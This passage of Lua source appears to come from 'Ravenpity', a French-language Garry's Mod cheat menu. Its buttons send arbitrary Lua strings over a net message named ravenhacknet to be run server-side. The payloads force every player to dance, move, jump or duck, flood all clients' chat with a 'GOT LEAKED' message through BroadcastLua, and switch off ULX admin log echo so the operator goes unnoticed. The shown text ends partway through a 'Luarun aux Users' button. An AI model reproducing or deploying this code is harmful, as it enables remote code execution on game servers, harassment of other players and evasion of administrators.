  1646. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1647. if spawnmicroprops:IsHovered() then
  1648. spawnmicroprops:SetTextColor( Color( 0, 0, 0 ) )
  1649. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1650. else
  1651. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1652. spawnmicroprops:SetTextColor( Color( 255, 255, 255 ) )
  1653. end
  1654. spawnmicroprops.DoClick = function()
  1655. LocalPlayer():ConCommand("gm_spawn models/props/cs_office/plant01_gib1.mdl")
  1656. end
  1657. end
  1658.  
  1659. -------------------------------------------------------------------------------------|
  1660.  
  1661. local spawnbugatti = vgui.Create( "DButton", BackgroundSupportPanel)
  1662. spawnbugatti:SetPos( 0, 240)
  1663. spawnbugatti:SetSize( 400, 30 )
  1664. spawnbugatti:SetText( "Bugatti Veyron" )
  1665. spawnbugatti.Paint = function( self, w, h )
  1666. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1667. if spawnbugatti:IsHovered() then
  1668. spawnbugatti:SetTextColor( Color( 0, 0, 0 ) )
  1669. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1670. else
  1671. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1672. spawnbugatti:SetTextColor( Color( 255, 255, 255 ) )
  1673. end
  1674. spawnbugatti.DoClick = function()
  1675. LocalPlayer():ConCommand("gm_spawn models/tdmcars/bug_veyronss.mdl")
  1676. end
  1677. end
  1678.  
  1679. -------------------------------------------------------------------------------------|
  1680.  
  1681. local spawntree_a = vgui.Create( "DButton", BackgroundSupportPanel)
  1682. spawntree_a:SetPos( 0, 270)
  1683. spawntree_a:SetSize( 400, 30 )
  1684. spawntree_a:SetText( "Arbre 1" )
  1685. spawntree_a.Paint = function( self, w, h )
  1686. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1687. if spawntree_a:IsHovered() then
  1688. spawntree_a:SetTextColor( Color( 0, 0, 0 ) )
  1689. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1690. else
  1691. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1692. spawntree_a:SetTextColor( Color( 255, 255, 255 ) )
  1693. end
  1694. spawntree_a.DoClick = function()
  1695. LocalPlayer():ConCommand("gm_spawn models/props_foliage/tree_poplar_01.mdl")
  1696. end
  1697. end
  1698.  
  1699. -------------------------------------------------------------------------------------|
  1700.  
  1701. local spawntree_b = vgui.Create( "DButton", BackgroundSupportPanel)
  1702. spawntree_b:SetPos( 0, 300)
  1703. spawntree_b:SetSize( 400, 30 )
  1704. spawntree_b:SetText( "Arbre 2" )
  1705. spawntree_b.Paint = function( self, w, h )
  1706. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1707. if spawntree_b:IsHovered() then
  1708. spawntree_b:SetTextColor( Color( 0, 0, 0 ) )
  1709. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1710. else
  1711. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1712. spawntree_b:SetTextColor( Color( 255, 255, 255 ) )
  1713. end
  1714. spawntree_b.DoClick = function()
  1715. LocalPlayer():ConCommand("gm_spawn models/props_foliage/tree_cliff_02a.mdl")
  1716. end
  1717. end
  1718. end
  1719.  
  1720. /*======================================================================================================================================================================================
  1721. Controller Options
  1722. ========================================================================================================================================================================================*/
  1723. function RAVEN.Controller()
  1724. if RAVEN.ControllerListe and RAVEN.ControllerListe:IsVisible() then RAVEN.ControllerListe:Remove() end
  1725. RAVEN.ControllerListe = vgui.Create("DFrame")
  1726. RAVEN.ControllerListe:SetSize(682,350)
  1727. RAVEN.ControllerListe:SetTitle("")
  1728. RAVEN.ControllerListe:SetPos( 342, 250 )
  1729. RAVEN.ControllerListe:MakePopup()
  1730. RAVEN.ControllerListe:ShowCloseButton( false )
  1731. RAVEN.ControllerListe.Paint = function( s, w, h )
  1732. if !RAVEN.Menu or !RAVEN.Menu:IsVisible() then s:Remove() return end
  1733. surface.SetDrawColor( Color(30, 30, 30, 255) )
  1734. surface.DrawRect( 0, 0, w, h )
  1735. surface.SetDrawColor( Color(55, 55, 55, 255) )
  1736. surface.DrawOutlinedRect( 0, 0, w, h )
  1737. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1738. end
  1739. local CloseButtonController = vgui.Create( "DButton", BackgroundSupportPanel)
  1740. CloseButtonController:SetPos( 0, 370)
  1741. CloseButtonController:SetSize( 400, 30 )
  1742. CloseButtonController:SetText( "X" )
  1743. CloseButtonController.Paint = function( self, w, h )
  1744. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1745. if CloseButtonController:IsHovered() then
  1746. CloseButtonController:SetTextColor( Color( 0, 0, 0 ) )
  1747. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1748. else
  1749. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1750. CloseButtonController:SetTextColor( Color( 255, 255, 255 ) )
  1751. end
  1752. CloseButtonController.DoClick = function()
  1753. surface.PlaySound("UI/buttonrollover.wav")
  1754. BaseHeader:Remove()
  1755. end
  1756. end
  1757. local ReturnButtonController = vgui.Create( "DButton", BackgroundSupportPanel)
  1758. ReturnButtonController:SetPos( 0, 340)
  1759. ReturnButtonController:SetSize( 400, 30 )
  1760. ReturnButtonController:SetText( "<--" )
  1761. ReturnButtonController.Paint = function( self, w, h )
  1762. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1763. if ReturnButtonController:IsHovered() then
  1764. ReturnButtonController:SetTextColor( Color( 0, 0, 0 ) )
  1765. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1766. else
  1767. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1768. ReturnButtonController:SetTextColor( Color( 255, 255, 255 ) )
  1769. end
  1770. ReturnButtonController.DoClick = function()
  1771. surface.PlaySound("UI/buttonrollover.wav")
  1772. BaseHeader:Remove()
  1773. LocalPlayer():ConCommand("ravenpity_start")
  1774. end
  1775. end
  1776.  
  1777. -------------------------------------------------------------------------------------|
  1778.  
  1779. local startmakeplayerdanse = vgui.Create("DButton", BackgroundSupportPanel )
  1780. startmakeplayerdanse:SetPos( 0, 0)
  1781. startmakeplayerdanse:SetSize( 400, 30 )
  1782. startmakeplayerdanse:SetText("Danse")
  1783. startmakeplayerdanse:SetTextColor(Color(255,255,255,255))
  1784. startmakeplayerdanse.Paint = function(panel, w, h)
  1785. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1786. if startmakeplayerdanse:IsHovered() then
  1787. startmakeplayerdanse:SetTextColor( Color( 0, 0, 0 ) )
  1788. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1789. else
  1790. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1791. startmakeplayerdanse:SetTextColor( Color( 255, 255, 255 ) )
  1792. end
  1793. startmakeplayerdanse.DoClick = function()
  1794. net.Start(ravenhacknet)
  1795. net.WriteString([[for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )]])
  1796. net.WriteBit(1)
  1797. net.SendToServer()
  1798. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Danse activé" )
  1799. end
  1800. end
  1801. local stopmakeplayerdanse = vgui.Create( "DButton", BackgroundSupportPanel)
  1802. stopmakeplayerdanse:SetPos( 365, 5)
  1803. stopmakeplayerdanse:SetSize( 20, 20 )
  1804. stopmakeplayerdanse:SetText( "X" )
  1805. stopmakeplayerdanse.Paint = function( self, w, h )
  1806. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1807. if stopmakeplayerdanse:IsHovered() then
  1808. stopmakeplayerdanse:SetTextColor( Color( 255, 255, 255 ) )
  1809. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  1810. else
  1811. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  1812. stopmakeplayerdanse:SetTextColor( Color( 255, 255, 255 ) )
  1813. end
  1814. stopmakeplayerdanse.DoClick = function()
  1815. net.Start(ravenhacknet)
  1816. net.WriteString("timer.Stop( \"dance_loop\")")
  1817. net.WriteBit(1)
  1818. net.SendToServer()
  1819. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Danse désactivé" )
  1820. end
  1821. end
  1822.  
  1823. -------------------------------------------------------------------------------------|
  1824.  
  1825. local startsetturnright = vgui.Create("DButton", BackgroundSupportPanel )
  1826. startsetturnright:SetPos( 0, 30)
  1827. startsetturnright:SetSize( 400, 30 )
  1828. startsetturnright:SetText("Tourner à Droite")
  1829. startsetturnright:SetTextColor(Color(255,255,255,255))
  1830. startsetturnright.Paint = function(panel, w, h)
  1831. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1832. if startsetturnright:IsHovered() then
  1833. startsetturnright:SetTextColor( Color( 0, 0, 0 ) )
  1834. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1835. else
  1836. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1837. startsetturnright:SetTextColor( Color( 255, 255, 255 ) )
  1838. end
  1839. startsetturnright.DoClick = function()
  1840. net.Start(ravenhacknet)
  1841. net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("+right") end]])
  1842. net.WriteBit(1)
  1843. net.SendToServer()
  1844. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tourner à Droite activé" )
  1845. end
  1846. end
  1847. local stopsetturnright = vgui.Create( "DButton", BackgroundSupportPanel)
  1848. stopsetturnright:SetPos( 365, 35)
  1849. stopsetturnright:SetSize( 20, 20 )
  1850. stopsetturnright:SetText( "X" )
  1851. stopsetturnright.Paint = function( self, w, h )
  1852. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1853. if stopsetturnright:IsHovered() then
  1854. stopsetturnright:SetTextColor( Color( 255, 255, 255 ) )
  1855. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  1856. else
  1857. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  1858. stopsetturnright:SetTextColor( Color( 255, 255, 255 ) )
  1859. end
  1860. stopsetturnright.DoClick = function()
  1861. net.Start(ravenhacknet)
  1862. net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("-right") end]])
  1863. net.WriteBit(1)
  1864. net.SendToServer()
  1865. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tourner à Droite désactivé" )
  1866. end
  1867. end
  1868.  
  1869. -------------------------------------------------------------------------------------|
  1870.  
  1871. local startsetturnleft = vgui.Create("DButton", BackgroundSupportPanel )
  1872. startsetturnleft:SetPos( 0, 60)
  1873. startsetturnleft:SetSize( 400, 30 )
  1874. startsetturnleft:SetText("Tourner à Gauche")
  1875. startsetturnleft:SetTextColor(Color(255,255,255,255))
  1876. startsetturnleft.Paint = function(panel, w, h)
  1877. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1878. if startsetturnleft:IsHovered() then
  1879. startsetturnleft:SetTextColor( Color( 0, 0, 0 ) )
  1880. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1881. else
  1882. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1883. startsetturnleft:SetTextColor( Color( 255, 255, 255 ) )
  1884. end
  1885. startsetturnleft.DoClick = function()
  1886. net.Start(ravenhacknet)
  1887. net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("+left") end]])
  1888. net.WriteBit(1)
  1889. net.SendToServer()
  1890. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tourner à Gauche activé" )
  1891. end
  1892. end
  1893. local stopsetturnleft = vgui.Create( "DButton", BackgroundSupportPanel)
  1894. stopsetturnleft:SetPos( 365, 65)
  1895. stopsetturnleft:SetSize( 20, 20 )
  1896. stopsetturnleft:SetText( "X" )
  1897. stopsetturnleft.Paint = function( self, w, h )
  1898. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1899. if stopsetturnleft:IsHovered() then
  1900. stopsetturnleft:SetTextColor( Color( 255, 255, 255 ) )
  1901. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  1902. else
  1903. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  1904. stopsetturnleft:SetTextColor( Color( 255, 255, 255 ) )
  1905. end
  1906. stopsetturnleft.DoClick = function()
  1907. net.Start(ravenhacknet)
  1908. net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("-left") end]])
  1909. net.WriteBit(1)
  1910. net.SendToServer()
  1911. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tourner à Gauche désactivé" )
  1912. end
  1913. end
  1914.  
  1915. -------------------------------------------------------------------------------------|
  1916.  
  1917. local startsetduck = vgui.Create("DButton", BackgroundSupportPanel )
  1918. startsetduck:SetPos( 0, 90)
  1919. startsetduck:SetSize( 400, 30 )
  1920. startsetduck:SetText("S'accroupir")
  1921. startsetduck:SetTextColor(Color(255,255,255,255))
  1922. startsetduck.Paint = function(panel, w, h)
  1923. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1924. if startsetduck:IsHovered() then
  1925. startsetduck:SetTextColor( Color( 0, 0, 0 ) )
  1926. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1927. else
  1928. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1929. startsetduck:SetTextColor( Color( 255, 255, 255 ) )
  1930. end
  1931. startsetduck.DoClick = function()
  1932. net.Start(ravenhacknet)
  1933. net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("+duck") end]])
  1934. net.WriteBit(1)
  1935. net.SendToServer()
  1936. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "S'accroupir activé" )
  1937. end
  1938. end
  1939. local stopsetduck = vgui.Create( "DButton", BackgroundSupportPanel)
  1940. stopsetduck:SetPos( 365, 95)
  1941. stopsetduck:SetSize( 20, 20 )
  1942. stopsetduck:SetText( "X" )
  1943. stopsetduck.Paint = function( self, w, h )
  1944. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1945. if stopsetduck:IsHovered() then
  1946. stopsetduck:SetTextColor( Color( 255, 255, 255 ) )
  1947. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  1948. else
  1949. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  1950. stopsetduck:SetTextColor( Color( 255, 255, 255 ) )
  1951. end
  1952. stopsetduck.DoClick = function()
  1953. net.Start(ravenhacknet)
  1954. net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("-duck") end]])
  1955. net.WriteBit(1)
  1956. net.SendToServer()
  1957. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "S'accroupir désactivé" )
  1958. end
  1959. end
  1960.  
  1961. -------------------------------------------------------------------------------------|
  1962.  
  1963. local startsetjump = vgui.Create("DButton", BackgroundSupportPanel )
  1964. startsetjump:SetPos( 0, 120)
  1965. startsetjump:SetSize( 400, 30 )
  1966. startsetjump:SetText("Sauter")
  1967. startsetjump:SetTextColor(Color(255,255,255,255))
  1968. startsetjump.Paint = function(panel, w, h)
  1969. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1970. if startsetjump:IsHovered() then
  1971. startsetjump:SetTextColor( Color( 0, 0, 0 ) )
  1972. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1973. else
  1974. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1975. startsetjump:SetTextColor( Color( 255, 255, 255 ) )
  1976. end
  1977. startsetjump.DoClick = function()
  1978. net.Start(ravenhacknet)
  1979. net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("+jump") end]])
  1980. net.WriteBit(1)
  1981. net.SendToServer()
  1982. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Saut activé" )
  1983. end
  1984. end
  1985. local stopsetjump = vgui.Create( "DButton", BackgroundSupportPanel)
  1986. stopsetjump:SetPos( 365, 125)
  1987. stopsetjump:SetSize( 20, 20 )
  1988. stopsetjump:SetText( "X" )
  1989. stopsetjump.Paint = function( self, w, h )
  1990. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1991. if stopsetjump:IsHovered() then
  1992. stopsetjump:SetTextColor( Color( 255, 255, 255 ) )
  1993. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  1994. else
  1995. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  1996. stopsetjump:SetTextColor( Color( 255, 255, 255 ) )
  1997. end
  1998. stopsetjump.DoClick = function()
  1999. net.Start(ravenhacknet)
  2000. net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("-jump") end]])
  2001. net.WriteBit(1)
  2002. net.SendToServer()
  2003. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Saut désactivé" )
  2004. end
  2005. end
  2006.  
  2007. -------------------------------------------------------------------------------------|
  2008.  
  2009. local startsetforward = vgui.Create("DButton", BackgroundSupportPanel )
  2010. startsetforward:SetPos( 0, 150)
  2011. startsetforward:SetSize( 400, 30 )
  2012. startsetforward:SetText("Avancer")
  2013. startsetforward:SetTextColor(Color(255,255,255,255))
  2014. startsetforward.Paint = function(panel, w, h)
  2015. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2016. if startsetforward:IsHovered() then
  2017. startsetforward:SetTextColor( Color( 0, 0, 0 ) )
  2018. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  2019. else
  2020. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  2021. startsetforward:SetTextColor( Color( 255, 255, 255 ) )
  2022. end
  2023. startsetforward.DoClick = function()
  2024. net.Start(ravenhacknet)
  2025. net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("+forward") end]])
  2026. net.WriteBit(1)
  2027. net.SendToServer()
  2028. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Avancer activé" )
  2029. end
  2030. end
  2031. local stopsetforward = vgui.Create( "DButton", BackgroundSupportPanel)
  2032. stopsetforward:SetPos( 365, 155)
  2033. stopsetforward:SetSize( 20, 20 )
  2034. stopsetforward:SetText( "X" )
  2035. stopsetforward.Paint = function( self, w, h )
  2036. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2037. if stopsetforward:IsHovered() then
  2038. stopsetforward:SetTextColor( Color( 255, 255, 255 ) )
  2039. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  2040. else
  2041. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  2042. stopsetforward:SetTextColor( Color( 255, 255, 255 ) )
  2043. end
  2044. stopsetforward.DoClick = function()
  2045. net.Start(ravenhacknet)
  2046. net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("-forward") end]])
  2047. net.WriteBit(1)
  2048. net.SendToServer()
  2049. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Avancer désactivé" )
  2050. end
  2051. end
  2052.  
  2053. -------------------------------------------------------------------------------------|
  2054.  
  2055. local startsetback = vgui.Create("DButton", BackgroundSupportPanel )
  2056. startsetback:SetPos( 0, 180)
  2057. startsetback:SetSize( 400, 30 )
  2058. startsetback:SetText("Reculer")
  2059. startsetback:SetTextColor(Color(255,255,255,255))
  2060. startsetback.Paint = function(panel, w, h)
  2061. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2062. if startsetback:IsHovered() then
  2063. startsetback:SetTextColor( Color( 0, 0, 0 ) )
  2064. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  2065. else
  2066. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  2067. startsetback:SetTextColor( Color( 255, 255, 255 ) )
  2068. end
  2069. startsetback.DoClick = function()
  2070. net.Start(ravenhacknet)
  2071. net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("+back") end]])
  2072. net.WriteBit(1)
  2073. net.SendToServer()
  2074. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Reculer activé" )
  2075. end
  2076. end
  2077.  
  2078. local stopsetback = vgui.Create( "DButton", BackgroundSupportPanel)
  2079. stopsetback:SetPos( 365, 185)
  2080. stopsetback:SetSize( 20, 20 )
  2081. stopsetback:SetText( "X" )
  2082. stopsetback.Paint = function( self, w, h )
  2083. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2084. if stopsetback:IsHovered() then
  2085. stopsetback:SetTextColor( Color( 255, 255, 255 ) )
  2086. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  2087. else
  2088. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  2089. stopsetback:SetTextColor( Color( 255, 255, 255 ) )
  2090. end
  2091. stopsetback.DoClick = function()
  2092. net.Start(ravenhacknet)
  2093. net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("-back") end]])
  2094. net.WriteBit(1)
  2095. net.SendToServer()
  2096. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Reculer désactivé" )
  2097. end
  2098. end
  2099. end
  2100.  
  2101. /*======================================================================================================================================================================================
  2102. Commandes Options
  2103. ========================================================================================================================================================================================*/
  2104. function RAVEN.Commandes()
  2105. if RAVEN.CommandesListe and RAVEN.CommandesListe:IsVisible() then RAVEN.CommandesListe:Remove() end
  2106. RAVEN.CommandesListe = vgui.Create("DFrame")
  2107. RAVEN.CommandesListe:SetSize(682,350)
  2108. RAVEN.CommandesListe:SetTitle("")
  2109. RAVEN.CommandesListe:SetPos( 342, 250 )
  2110. RAVEN.CommandesListe:MakePopup()
  2111. RAVEN.CommandesListe:ShowCloseButton( false )
  2112. RAVEN.CommandesListe.Paint = function( s, w, h )
  2113. if !RAVEN.Menu or !RAVEN.Menu:IsVisible() then s:Remove() return end
  2114. surface.SetDrawColor( Color(30, 30, 30, 255) )
  2115. surface.DrawRect( 0, 0, w, h )
  2116. surface.SetDrawColor( Color(55, 55, 55, 255) )
  2117. surface.DrawOutlinedRect( 0, 0, w, h )
  2118. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  2119. end
  2120. local CloseButtonCommandes = vgui.Create( "DButton", BackgroundSupportPanel)
  2121. CloseButtonCommandes:SetPos( 0, 370)
  2122. CloseButtonCommandes:SetSize( 400, 30 )
  2123. CloseButtonCommandes:SetText( "X" )
  2124. CloseButtonCommandes.Paint = function( self, w, h )
  2125. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2126. if CloseButtonCommandes:IsHovered() then
  2127. CloseButtonCommandes:SetTextColor( Color( 0, 0, 0 ) )
  2128. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  2129. else
  2130. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  2131. CloseButtonCommandes:SetTextColor( Color( 255, 255, 255 ) )
  2132. end
  2133. CloseButtonCommandes.DoClick = function()
  2134. surface.PlaySound("UI/buttonrollover.wav")
  2135. BaseHeader:Remove()
  2136. end
  2137. end
  2138. local ReturnButtonCommandes = vgui.Create( "DButton", BackgroundSupportPanel)
  2139. ReturnButtonCommandes:SetPos( 0, 340)
  2140. ReturnButtonCommandes:SetSize( 400, 30 )
  2141. ReturnButtonCommandes:SetText( "<--" )
  2142. ReturnButtonCommandes.Paint = function( self, w, h )
  2143. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2144. if ReturnButtonCommandes:IsHovered() then
  2145. ReturnButtonCommandes:SetTextColor( Color( 0, 0, 0 ) )
  2146. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  2147. else
  2148. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  2149. ReturnButtonCommandes:SetTextColor( Color( 255, 255, 255 ) )
  2150. end
  2151. ReturnButtonCommandes.DoClick = function()
  2152. surface.PlaySound("UI/buttonrollover.wav")
  2153. BaseHeader:Remove()
  2154. LocalPlayer():ConCommand("ravenpity_start")
  2155. end
  2156. end
  2157.  
  2158. -------------------------------------------------------------------------------------|
  2159.  
  2160. local spamchaton = vgui.Create( "DButton", BackgroundSupportPanel)
  2161. spamchaton:SetPos( 0, 0)
  2162. spamchaton:SetSize( 400, 30 )
  2163. spamchaton:SetText( "Spam le Chat" )
  2164. spamchaton.Paint = function( self, w, h )
  2165. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2166. if spamchaton:IsHovered() then
  2167. spamchaton:SetTextColor( Color( 0, 0, 0 ) )
  2168. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  2169. else
  2170. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  2171. spamchaton:SetTextColor( Color( 128, 119, 255 ) )
  2172. end
  2173. spamchaton.DoClick = function()
  2174. net.Start(ravenhacknet)
  2175. net.WriteString("timer.Create( \"rekt\", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), \"♣♣ AIE COUP DUR POUR HOPER, GOT LEAKED ! ♣♣\")]]) end)")
  2176. net.WriteBit(1)
  2177. net.SendToServer()
  2178. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Spam Chat activé" )
  2179. end
  2180. end
  2181. local spamchatoff = vgui.Create( "DButton", BackgroundSupportPanel)
  2182. spamchatoff:SetPos( 365, 5)
  2183. spamchatoff:SetSize( 20, 20 )
  2184. spamchatoff:SetText( "X" )
  2185. spamchatoff.Paint = function( self, w, h )
  2186. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2187. if spamchatoff:IsHovered() then
  2188. spamchatoff:SetTextColor( Color( 255, 255, 255 ) )
  2189. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  2190. else
  2191. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  2192. spamchatoff:SetTextColor( Color( 255, 255, 255 ) )
  2193. end
  2194. spamchatoff.DoClick = function()
  2195. net.Start(ravenhacknet)
  2196. net.WriteString("timer.Stop( \"rekt\")")
  2197. net.WriteBit(1)
  2198. net.SendToServer()
  2199. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Spam Chat désactivé" )
  2200. end
  2201. end
  2202.  
  2203. -------------------------------------------------------------------------------------|
  2204.  
  2205. local ulxlogecho = vgui.Create( "DButton", BackgroundSupportPanel)
  2206. ulxlogecho:SetPos( 0, 30)
  2207. ulxlogecho:SetSize( 400, 30 )
  2208. ulxlogecho:SetText( "Enlever les Logs" )
  2209. ulxlogecho.Paint = function( self, w, h )
  2210. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2211. if ulxlogecho:IsHovered() then
  2212. ulxlogecho:SetTextColor( Color( 0, 0, 0 ) )
  2213. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  2214. else
  2215. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  2216. ulxlogecho:SetTextColor( Color(255, 255, 255, 150))
  2217. end
  2218. ulxlogecho.DoClick = function()
  2219. net.Start(ravenhacknet)
  2220. net.WriteString( "RunConsoleCommand(\"ulx_logecho\", \"0\")" )
  2221. net.WriteBit(1)
  2222. net.SendToServer()
  2223. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Vous êtes maintenant discret" )
  2224. end
  2225. end
  2226.  
  2227. -------------------------------------------------------------------------------------|
  2228.  
  2229. local luarunforusers = vgui.Create( "DButton", BackgroundSupportPanel)
  2230. luarunforusers:SetPos( 0, 60)
  2231. luarunforusers:SetSize( 400, 30 )
  2232. luarunforusers:SetText( "Luarun aux Users" )
  2233. luarunforusers.Paint = function( self, w, h )
  2234. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  2235. if luarunforusers:IsHovered() then
  2236. luarunforusers:SetTextColor( Color( 0, 0, 0 ) )
